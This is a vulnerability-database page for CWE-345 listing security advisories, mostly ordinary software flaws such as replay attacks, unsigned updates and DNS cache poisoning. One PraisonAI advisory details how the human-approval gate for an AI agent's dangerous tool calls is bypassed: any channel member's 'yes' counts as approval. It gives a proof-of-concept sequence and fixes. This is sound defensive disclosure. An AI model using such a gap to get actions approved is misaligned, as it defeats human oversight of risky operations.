CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
948 vulnerabilities reference this CWE, most recent first.
GHSA-7X8J-M6Q2-X954
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14Enbra EWM 1.7.29 does not check for or detect replay attacks sent by wireless M-Bus Security mode 5 devices. Instead timestamps of the sensor are replaced by the time of the readout even if the data is a replay of earlier data.
{
"affected": [],
"aliases": [
"CVE-2021-34572"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-16T13:15:00Z",
"severity": "MODERATE"
},
"details": "Enbra EWM 1.7.29 does not check for or detect replay attacks sent by wireless M-Bus Security mode 5 devices. Instead timestamps of the sensor are replaced by the time of the readout even if the data is a replay of earlier data.",
"id": "GHSA-7x8j-m6q2-x954",
"modified": "2022-05-24T19:14:51Z",
"published": "2022-05-24T19:14:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34572"
},
{
"type": "WEB",
"url": "https://www.fit.vutbr.cz/~polcak/CVE-2021-34572.en"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7XPM-33WP-WG2W
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36Samsung Magician 5.0 fails to validate TLS certificates for HTTPS software update traffic. Prior to version 5.0, Samsung Magician uses HTTP for software updates.
{
"affected": [],
"aliases": [
"CVE-2017-3218"
],
"database_specific": {
"cwe_ids": [
"CWE-295",
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-21T20:29:00Z",
"severity": "HIGH"
},
"details": "Samsung Magician 5.0 fails to validate TLS certificates for HTTPS software update traffic. Prior to version 5.0, Samsung Magician uses HTTP for software updates.",
"id": "GHSA-7xpm-33wp-wg2w",
"modified": "2022-05-13T01:36:42Z",
"published": "2022-05-13T01:36:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3218"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/846320"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/99081"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-82FC-M9M7-W2MG
Vulnerability from github – Published: 2022-05-17 03:28 – Updated: 2022-05-17 03:28The upgrade functionality in Malwarebytes Anti-Malware (MBAM) consumer before 2.0.3 and Malwarebytes Anti-Exploit (MBAE) consumer 1.04.1.1012 and earlier allow man-in-the-middle attackers to execute arbitrary code by spoofing the update server and uploading an executable.
{
"affected": [],
"aliases": [
"CVE-2014-4936"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-12-16T18:59:00Z",
"severity": "HIGH"
},
"details": "The upgrade functionality in Malwarebytes Anti-Malware (MBAM) consumer before 2.0.3 and Malwarebytes Anti-Exploit (MBAE) consumer 1.04.1.1012 and earlier allow man-in-the-middle attackers to execute arbitrary code by spoofing the update server and uploading an executable.",
"id": "GHSA-82fc-m9m7-w2mg",
"modified": "2022-05-17T03:28:33Z",
"published": "2022-05-17T03:28:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-4936"
},
{
"type": "WEB",
"url": "http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/130244/Malwarebytes-Anti-Malware-Anti-Exploit-Update-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-82WG-VGC4-3633
Vulnerability from github – Published: 2023-01-11 09:30 – Updated: 2023-01-19 00:30Insufficient validation of address mapping to IO in ASP (AMD Secure Processor) may result in a loss of memory integrity in the SNP guest.
{
"affected": [],
"aliases": [
"CVE-2021-26396"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-11T08:15:00Z",
"severity": "MODERATE"
},
"details": "Insufficient validation of address mapping to IO in ASP (AMD Secure Processor) may result in a loss of memory integrity in the SNP guest.",
"id": "GHSA-82wg-vgc4-3633",
"modified": "2023-01-19T00:30:31Z",
"published": "2023-01-11T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26396"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-1032"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8396-JFFM-QX4W
Vulnerability from github – Published: 2026-06-11 20:28 – Updated: 2026-06-11 20:28Description
In OpenFGA, when iterator caching is enabled, two distinct check requests can produce the same cache key, leading to OpenFGA reusing an earlier cached result for a subsequent request.
Preconditions
This applies if the following preconditions are present:
- FGA runs with SharedIteratorCache enabled,
- FGA runs with ListObjectsIteratorCache enabled.
Fix
Upgrade to version 1.16.0 or greater.
Acknowledgements
OpenFGA would like to thank @j4xT for the discovery and the detailed report.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/openfga/openfga"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48096"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-11T20:28:18Z",
"nvd_published_at": "2026-06-10T16:17:09Z",
"severity": "MODERATE"
},
"details": "### Description\nIn OpenFGA, when iterator caching is enabled, two distinct check requests can produce the same cache key, leading to OpenFGA reusing an earlier cached result for a subsequent request.\n\n### Preconditions\nThis applies if the following preconditions are present:\n\n- FGA runs with SharedIteratorCache enabled,\n- FGA runs with ListObjectsIteratorCache enabled.\n\n### Fix\nUpgrade to version 1.16.0 or greater.\n\n### Acknowledgements\nOpenFGA would like to thank @j4xT for the discovery and the detailed report.",
"id": "GHSA-8396-jffm-qx4w",
"modified": "2026-06-11T20:28:18Z",
"published": "2026-06-11T20:28:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openfga/openfga/security/advisories/GHSA-8396-jffm-qx4w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48096"
},
{
"type": "PACKAGE",
"url": "https://github.com/openfga/openfga"
},
{
"type": "WEB",
"url": "https://github.com/openfga/openfga/releases/tag/v1.16.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenFGA has cache-key delimiter injection in shared-iterator and v2 iterator that caches enables intra-store authorization-decision poisoning"
}
GHSA-83HF-93M4-RGWQ
Vulnerability from github – Published: 2026-04-30 18:10 – Updated: 2026-04-30 18:10Summary
The Hickory DNS project's experimental hickory-recursor crate's record cache (DnsLru) stores records from DNS responses keyed by each record's own (name, type), not by the query that triggered the response. cache_response() in crates/recursor/src/lib.rs chains ANSWER, AUTHORITY, and ADDITIONAL sections into one record iterator before insertion. The bailiwick filter it applies uses the zone context of the NS pool that serviced the lookup, not the zone being queried.
This creates a cross-zone poisoning path. When Hickory builds the NS pool for attacker.poc. it uses the parent poc. NS pool (ns.zone() = "poc."). If the poc. nameserver under the attacker's control includes in its response's AUTHORITY section a record for a sibling zone like victim.poc. NS ns.evil.poc., the bailiwick check is_subzone("poc.", "victim.poc.") passes (victim.poc. is a subdomain of poc.). The record is stored under (victim.poc., NS) in the shared cache.
Subsequently, any client querying a name in victim.poc. causes Hickory to build its NS pool from the poisoned cache entry, routing queries to the attacker's nameserver (ns.evil.poc.) rather than to the legitimate nameserver for victim.poc.. The legitimate NS for that zone receives zero queries.
This issue is fixed in hickory-resolver 0.26.0 with the recursor feature through an architectural change to response-level caching: responses are stored keyed by the originating query (name, type). A response to (attacker.poc. NS) is stored only under that key and cannot affect the (victim.poc., NS) cache entry.
Hickory DNS believes this issue has been present in all published versions of the experimental hickory-recursor crate, which has now been folded into the hickory-resolver crate under the non-default recursor feature flag. The hickory-recursor crate will not receive any updates going forward and all users should migrate to hickory-resolver with the recursor feature.
Users of the hickory-dns binary configured with the opt-in recursor feature and a configuration acting as a recursive resolver should update to 0.26.0+.
Reporter
Qifan Zhang, Palo Alto Networks
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.25.2"
},
"package": {
"ecosystem": "crates.io",
"name": "hickory-recursor"
},
"ranges": [
{
"events": [
{
"introduced": "0.24.0"
},
{
"fixed": "0.26.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "hickory-recursor"
},
"versions": [
"0.1"
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-706"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-30T18:10:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Summary\n\nThe Hickory DNS project\u0027s experimental `hickory-recursor` crate\u0027s record cache (`DnsLru`) stores records from DNS responses keyed by each record\u0027s own (name, type), not by the query that triggered the response. `cache_response()` in `crates/recursor/src/lib.rs` chains `ANSWER`, `AUTHORITY`, and `ADDITIONAL` sections into one record iterator before insertion. The bailiwick filter it applies uses the zone context of the NS pool that serviced the lookup, not the zone being queried.\n\nThis creates a cross-zone poisoning path. When Hickory builds the NS pool for `attacker.poc.` it uses the parent `poc.` `NS` pool (`ns.zone() = \"poc.\"`). If the `poc.` nameserver under the attacker\u0027s control includes in its response\u0027s `AUTHORITY` section a record for a sibling zone like `victim.poc. NS ns.evil.poc.`, the bailiwick check `is_subzone(\"poc.\", \"victim.poc.\")` passes (`victim.poc.` is a subdomain of `poc.`). The record is stored under `(victim.poc., NS)` in the shared cache.\n\nSubsequently, any client querying a name in `victim.poc`. causes Hickory to build its NS pool from the poisoned cache entry, routing queries to the attacker\u0027s nameserver (`ns.evil.poc.`) rather than to the legitimate nameserver for `victim.poc.`. The legitimate `NS` for that zone receives zero queries.\n\nThis issue is fixed in `hickory-resolver` 0.26.0 with the `recursor` feature through an architectural change to response-level caching: responses are stored keyed by the originating query `(name, type)`. A response to `(attacker.poc. NS)` is stored only under that key and cannot affect the `(victim.poc., NS)` cache entry.\n\nHickory DNS believes this issue has been present in all published versions of the experimental `hickory-recursor` crate, which has now been folded into the `hickory-resolver` crate under the non-default `recursor` feature flag. The `hickory-recursor` crate will not receive any updates going forward and all users should migrate to `hickory-resolver` with the `recursor` feature.\n\nUsers of the `hickory-dns` binary configured with the opt-in `recursor` feature and a configuration acting as a recursive resolver should update to 0.26.0+.\n\n### Reporter \n\nQifan Zhang, Palo Alto Networks",
"id": "GHSA-83hf-93m4-rgwq",
"modified": "2026-04-30T18:10:58Z",
"published": "2026-04-30T18:10:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hickory-dns/hickory-dns/security/advisories/GHSA-83hf-93m4-rgwq"
},
{
"type": "PACKAGE",
"url": "https://github.com/hickory-dns/hickory-dns"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Hickory DNS\u0027s Record Cache Accepts AUTHORITY-Section NS from Sibling Zone via Parent-Pool Zone-Context Elevation"
}
GHSA-848M-8QG2-WMRV
Vulnerability from github – Published: 2026-06-16 15:33 – Updated: 2026-06-16 18:32Firefox for iOS used partial domain matching when attaching cookies to PDF requests, allowing a malicious site on a suffix domain to receive cookies belonging to the target site. This vulnerability was fixed in Firefox for iOS 152.0.
{
"affected": [],
"aliases": [
"CVE-2026-53899"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-16T13:16:37Z",
"severity": "MODERATE"
},
"details": "Firefox for iOS used partial domain matching when attaching cookies to PDF requests, allowing a malicious site on a suffix domain to receive cookies belonging to the target site. This vulnerability was fixed in Firefox for iOS 152.0.",
"id": "GHSA-848m-8qg2-wmrv",
"modified": "2026-06-16T18:32:37Z",
"published": "2026-06-16T15:33:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53899"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2042909"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-56"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-84XJ-78RW-RF33
Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-07-13 00:01An Insufficient Verification of Data Authenticity vulnerability in B. Braun SpaceCom2 prior to 012U000062 allows a remote unauthenticated attacker to send the device malicious data that will be used in place of the correct data. This results in full system command access and execution because of the lack of cryptographic signatures on critical data sets.
{
"affected": [],
"aliases": [
"CVE-2021-33885"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-25T12:15:00Z",
"severity": "CRITICAL"
},
"details": "An Insufficient Verification of Data Authenticity vulnerability in B. Braun SpaceCom2 prior to 012U000062 allows a remote unauthenticated attacker to send the device malicious data that will be used in place of the correct data. This results in full system command access and execution because of the lack of cryptographic signatures on critical data sets.",
"id": "GHSA-84xj-78rw-rf33",
"modified": "2022-07-13T00:01:26Z",
"published": "2022-05-24T19:12:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33885"
},
{
"type": "WEB",
"url": "https://www.bbraunusa.com/en.htm"
},
{
"type": "WEB",
"url": "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/mcafee-enterprise-atr-uncovers-vulnerabilities-in-globally-used-b-braun-infusion-pump"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8547-8823-M279
Vulnerability from github – Published: 2025-07-29 15:31 – Updated: 2025-07-29 15:31In HDP Server versions below 4.6.2.2978 on Linux, unauthorized access could occur via IP spoofing using the X-Forwarded-For header.
Since XFF is a client-controlled header, it could be spoofed, allowing unauthorized access if the spoofed IP matched a whitelisted range.
This vulnerability could be exploited to bypass IP restrictions, though valid user credentials would still be required for resource access.
{
"affected": [],
"aliases": [
"CVE-2025-6504"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-29T13:15:28Z",
"severity": "HIGH"
},
"details": "In HDP Server versions below 4.6.2.2978 on Linux, unauthorized access could occur via IP spoofing using the X-Forwarded-For header.\u00a0\n\nSince XFF is a client-controlled header, it could be spoofed, allowing unauthorized access if the spoofed IP matched a whitelisted range.\n\n\nThis vulnerability could be exploited to bypass IP restrictions, though valid user credentials would still be required for resource access.",
"id": "GHSA-8547-8823-m279",
"modified": "2025-07-29T15:31:49Z",
"published": "2025-07-29T15:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6504"
},
{
"type": "WEB",
"url": "https://community.progress.com/s/article/DataDirect-Hybrid-Data-Pipeline-Critical-Security-Product-Alert-Bulletin-July-2025---CVE-2025-6504"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8579-RGG5-PH2M
Vulnerability from github – Published: 2026-06-18 13:52 – Updated: 2026-06-18 13:52DiscordApproval accepts unrelated channel messages as dangerous-tool approvals
Summary
praisonai.bots.DiscordApproval approves a pending dangerous tool call when it
sees any later non-bot message in the configured Discord channel whose text is
classified as approval, such as yes.
The decision is not bound to:
- a Discord reply to the approval message;
- a Discord thread created for that request;
- a Discord interaction/button callback for that request;
- an explicit approver user allowlist; or
- an approval nonce visible only to intended approvers.
As a result, any user who can post in the configured approval channel can
approve a pending high-risk tool call by sending yes after the approval
message appears. The same local PoV also shows that the Slack and Telegram
messaging approval backends have no explicit approver allowlist parameter, but
the primary report-grade issue is the Discord backend's unthreaded channel
cross-talk: the approving message does not need to be a reply or otherwise
request-bound.
Affected Product
- Repository:
MervinPraison/PraisonAI - Ecosystem:
pip - Package:
praisonai - Component: Python messaging approval backends
- Primary affected file:
src/praisonai/praisonai/bots/_discord_approval.py - Related sibling files:
src/praisonai/praisonai/bots/_slack_approval.pysrc/praisonai/praisonai/bots/_telegram_approval.py- Latest PyPI version validated:
4.6.58 - Current
origin/mainvalidated:1ad58ca02975ff1398efeda694ea2ab78f20cf3e - Current
origin/maintag validated:v4.6.58
Suggested affected range:
pip:praisonai >= 4.5.2, <= 4.6.58
Representative local sweep:
4.5.0 Discord approval backend not present
4.5.2 vulnerable
4.5.128 vulnerable
4.6.9 vulnerable
4.6.10 vulnerable
4.6.56 vulnerable
4.6.57 vulnerable
4.6.58 vulnerable
Root Cause
DiscordApproval.request_approval() posts an approval message to the configured
channel and records the returned message id.
_poll_for_response() then polls channel history with:
f"/channels/{channel_id}/messages?after={message_id}&limit=10"
For each later non-bot message, it reads content, classifies the text, and
returns ApprovalDecision(approved=True) when the text is approve/yes.
There is no check that the message is a Discord reply to the approval message,
belongs to a request-specific thread, came from an intended approver, or
contains a request-specific approval token.
Important source evidence from origin/main:
_discord_approval.pylines 57-73: constructor acceptstoken,channel_id,timeout, andpoll_interval; no approver allowlist._discord_approval.pyline 239: polls all messages after the approval message in the configured channel._discord_approval.pylines 252-265: skips bot messages, classifies the remaining text, and approves when the keyword isapprove.
The Slack and Telegram backends are better request-scoped than Discord:
- Slack uses
conversations.repliesfor the approval message thread. - Telegram checks the callback/reply message id.
However, both still lack an explicit approver identity parameter. They are included in the PoV and suggested fix because the authorization model should be consistent across all messaging approval backends.
Local PoV
Run against the latest local checkout:
python3 poc/pov_prai_cand_029_messaging_approval_channel_member_bypass.py \
--repo ../../artifacts/repos/praisonai-v4.6.58 \
--json
The PoV is local-only. It mocks Slack, Telegram, and Discord API helpers in-process and does not contact those services.
For Discord, the mock sequence is:
DiscordApprovalposts a criticalexecute_commandapproval request toD_APPROVAL_CHANNEL.- The mocked channel-history endpoint returns a later ordinary non-bot
channel message from
D_INTRUDERwith contentyes. DiscordApprovalreturnsapproved=Trueandapprover="D_INTRUDER".
Observed output from evidence/pov-v4.6.58.json:
{
"approval_from_unconfigured_channel_participant": {
"discord": true,
"slack": true,
"telegram": true
},
"backends": [
{
"backend": "discord",
"configured_channel_id": "D_APPROVAL_CHANNEL",
"decision_approved": true,
"decision_approver": "D_INTRUDER",
"decision_reason": "Approved via Discord by intruder",
"intruder_user": "D_INTRUDER"
}
],
"no_explicit_approver_allowlist_parameters": true,
"vulnerable": true
}
The command in the approval request is a harmless local sentinel:
touch /tmp/prai-cand-029. The PoV stops at the approval decision; it does not
execute the tool.
Why This Is Not Intended Behavior
This report does not claim that a deliberately private approval channel with only trusted approvers is unsafe by itself. The narrower issue is that the Discord backend treats an unrelated later channel message as the approval decision for a specific dangerous tool request.
PraisonAI's approval documentation describes approval as a safety control that
pauses before dangerous tools and asks a human or channel to allow or deny the
specific request. A random later yes in the channel is not evidence that an
intended approver reviewed that request.
The existing Slack and Telegram implementations already show request-binding patterns that Discord lacks:
- Slack scopes to replies for the approval message timestamp.
- Telegram checks the callback/reply
message_id.
The Discord backend should provide at least the same request binding and should also support explicit approver identity checks for deployments where channel membership is broader than approval authority.
Impact
If an application uses DiscordApproval for dangerous tools such as shell
commands, file writes, deletes, deployments, or other privileged operations, a
low-privileged Discord user with write access to the configured approval channel
can approve pending dangerous tool executions.
This can lead to code execution, file modification, deployment changes, or data access with the privileges of the PraisonAI process, depending on which tools the agent exposes behind approval.
The attacker does not need the LLM API key, shell access, repository access, or PraisonAI process access. They only need to be able to post an approval-looking message in the configured approval channel after the approval prompt appears.
Severity
Suggested severity: High.
Rationale:
AV: the attacker interacts through a networked Discord channel.AC: sendingyesafter an approval prompt is enough.PR: the attacker needs permission to post in the configured approval channel, but no approver-specific permission.UI: no separate victim interaction is needed after the prompt exists.S: the vulnerable approval backend and approved tool run in the PraisonAI application's security scope.C/I/A: approved dangerous tools can disclose, modify, or destroy data depending on the configured agent tools.
Remediation
Recommended fixes:
- For Discord, require approvals to be tied to the request, not merely any
later channel message. Use Discord interactions/buttons with opaque
server-side request ids, or require a Discord reply whose
message_reference.message_idmatches the approval message. - Add explicit approver identity configuration to all messaging approval
backends, for example
approver_user_idsorallowed_approvers. - Reject approvals from users outside the configured approver set, even if the message appears in the configured channel.
- Include a per-request nonce or opaque approval id in callbacks and verify it
server side before returning
ApprovalDecision(approved=True). - Add regression tests for Discord where:
- an unrelated later
yesin the channel is ignored; - a reply from a non-approver is ignored;
- a request-bound reply/callback from an allowed approver succeeds.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.58"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "4.5.2"
},
{
"fixed": "4.6.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:52:27Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# DiscordApproval accepts unrelated channel messages as dangerous-tool approvals\n\n## Summary\n\n`praisonai.bots.DiscordApproval` approves a pending dangerous tool call when it\nsees any later non-bot message in the configured Discord channel whose text is\nclassified as approval, such as `yes`.\n\nThe decision is not bound to:\n\n- a Discord reply to the approval message;\n- a Discord thread created for that request;\n- a Discord interaction/button callback for that request;\n- an explicit approver user allowlist; or\n- an approval nonce visible only to intended approvers.\n\nAs a result, any user who can post in the configured approval channel can\napprove a pending high-risk tool call by sending `yes` after the approval\nmessage appears. The same local PoV also shows that the Slack and Telegram\nmessaging approval backends have no explicit approver allowlist parameter, but\nthe primary report-grade issue is the Discord backend\u0027s unthreaded channel\ncross-talk: the approving message does not need to be a reply or otherwise\nrequest-bound.\n\n## Affected Product\n\n- Repository: `MervinPraison/PraisonAI`\n- Ecosystem: `pip`\n- Package: `praisonai`\n- Component: Python messaging approval backends\n- Primary affected file: `src/praisonai/praisonai/bots/_discord_approval.py`\n- Related sibling files:\n - `src/praisonai/praisonai/bots/_slack_approval.py`\n - `src/praisonai/praisonai/bots/_telegram_approval.py`\n- Latest PyPI version validated: `4.6.58`\n- Current `origin/main` validated:\n `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n- Current `origin/main` tag validated: `v4.6.58`\n\nSuggested affected range:\n\n```text\npip:praisonai \u003e= 4.5.2, \u003c= 4.6.58\n```\n\nRepresentative local sweep:\n\n```text\n4.5.0 Discord approval backend not present\n4.5.2 vulnerable\n4.5.128 vulnerable\n4.6.9 vulnerable\n4.6.10 vulnerable\n4.6.56 vulnerable\n4.6.57 vulnerable\n4.6.58 vulnerable\n```\n\n## Root Cause\n\n`DiscordApproval.request_approval()` posts an approval message to the configured\nchannel and records the returned message id.\n\n`_poll_for_response()` then polls channel history with:\n\n```python\nf\"/channels/{channel_id}/messages?after={message_id}\u0026limit=10\"\n```\n\nFor each later non-bot message, it reads `content`, classifies the text, and\nreturns `ApprovalDecision(approved=True)` when the text is `approve`/`yes`.\nThere is no check that the message is a Discord reply to the approval message,\nbelongs to a request-specific thread, came from an intended approver, or\ncontains a request-specific approval token.\n\nImportant source evidence from `origin/main`:\n\n- `_discord_approval.py` lines 57-73: constructor accepts `token`,\n `channel_id`, `timeout`, and `poll_interval`; no approver allowlist.\n- `_discord_approval.py` line 239: polls all messages after the approval\n message in the configured channel.\n- `_discord_approval.py` lines 252-265: skips bot messages, classifies the\n remaining text, and approves when the keyword is `approve`.\n\nThe Slack and Telegram backends are better request-scoped than Discord:\n\n- Slack uses `conversations.replies` for the approval message thread.\n- Telegram checks the callback/reply message id.\n\nHowever, both still lack an explicit approver identity parameter. They are\nincluded in the PoV and suggested fix because the authorization model should be\nconsistent across all messaging approval backends.\n\n## Local PoV\n\nRun against the latest local checkout:\n\n```bash\npython3 poc/pov_prai_cand_029_messaging_approval_channel_member_bypass.py \\\n --repo ../../artifacts/repos/praisonai-v4.6.58 \\\n --json\n```\n\nThe PoV is local-only. It mocks Slack, Telegram, and Discord API helpers\nin-process and does not contact those services.\n\nFor Discord, the mock sequence is:\n\n1. `DiscordApproval` posts a critical `execute_command` approval request to\n `D_APPROVAL_CHANNEL`.\n2. The mocked channel-history endpoint returns a later ordinary non-bot\n channel message from `D_INTRUDER` with content `yes`.\n3. `DiscordApproval` returns `approved=True` and `approver=\"D_INTRUDER\"`.\n\nObserved output from `evidence/pov-v4.6.58.json`:\n\n```json\n{\n \"approval_from_unconfigured_channel_participant\": {\n \"discord\": true,\n \"slack\": true,\n \"telegram\": true\n },\n \"backends\": [\n {\n \"backend\": \"discord\",\n \"configured_channel_id\": \"D_APPROVAL_CHANNEL\",\n \"decision_approved\": true,\n \"decision_approver\": \"D_INTRUDER\",\n \"decision_reason\": \"Approved via Discord by intruder\",\n \"intruder_user\": \"D_INTRUDER\"\n }\n ],\n \"no_explicit_approver_allowlist_parameters\": true,\n \"vulnerable\": true\n}\n```\n\nThe command in the approval request is a harmless local sentinel:\n`touch /tmp/prai-cand-029`. The PoV stops at the approval decision; it does not\nexecute the tool.\n\n## Why This Is Not Intended Behavior\n\nThis report does not claim that a deliberately private approval channel with\nonly trusted approvers is unsafe by itself. The narrower issue is that the\nDiscord backend treats an unrelated later channel message as the approval\ndecision for a specific dangerous tool request.\n\nPraisonAI\u0027s approval documentation describes approval as a safety control that\npauses before dangerous tools and asks a human or channel to allow or deny the\nspecific request. A random later `yes` in the channel is not evidence that an\nintended approver reviewed that request.\n\nThe existing Slack and Telegram implementations already show request-binding\npatterns that Discord lacks:\n\n- Slack scopes to replies for the approval message timestamp.\n- Telegram checks the callback/reply `message_id`.\n\nThe Discord backend should provide at least the same request binding and should\nalso support explicit approver identity checks for deployments where channel\nmembership is broader than approval authority.\n\n## Impact\n\nIf an application uses `DiscordApproval` for dangerous tools such as shell\ncommands, file writes, deletes, deployments, or other privileged operations, a\nlow-privileged Discord user with write access to the configured approval channel\ncan approve pending dangerous tool executions.\n\nThis can lead to code execution, file modification, deployment changes, or data\naccess with the privileges of the PraisonAI process, depending on which tools\nthe agent exposes behind approval.\n\nThe attacker does not need the LLM API key, shell access, repository access, or\nPraisonAI process access. They only need to be able to post an approval-looking\nmessage in the configured approval channel after the approval prompt appears.\n\n## Severity\n\nSuggested severity: High.\n\nRationale:\n\n- `AV`: the attacker interacts through a networked Discord channel.\n- `AC`: sending `yes` after an approval prompt is enough.\n- `PR`: the attacker needs permission to post in the configured approval\n channel, but no approver-specific permission.\n- `UI`: no separate victim interaction is needed after the prompt exists.\n- `S`: the vulnerable approval backend and approved tool run in the PraisonAI\n application\u0027s security scope.\n- `C/I/A`: approved dangerous tools can disclose, modify, or destroy data\n depending on the configured agent tools.\n\n## Remediation\n\nRecommended fixes:\n\n1. For Discord, require approvals to be tied to the request, not merely any\n later channel message. Use Discord interactions/buttons with opaque\n server-side request ids, or require a Discord reply whose\n `message_reference.message_id` matches the approval message.\n2. Add explicit approver identity configuration to all messaging approval\n backends, for example `approver_user_ids` or `allowed_approvers`.\n3. Reject approvals from users outside the configured approver set, even if the\n message appears in the configured channel.\n4. Include a per-request nonce or opaque approval id in callbacks and verify it\n server side before returning `ApprovalDecision(approved=True)`.\n5. Add regression tests for Discord where:\n - an unrelated later `yes` in the channel is ignored;\n - a reply from a non-approver is ignored;\n - a request-bound reply/callback from an allowed approver succeeds.",
"id": "GHSA-8579-rgg5-ph2m",
"modified": "2026-06-18T13:52:27Z",
"published": "2026-06-18T13:52:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8579-rgg5-ph2m"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI DiscordApproval accepts unrelated channel messages as dangerous-tool approvals"
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
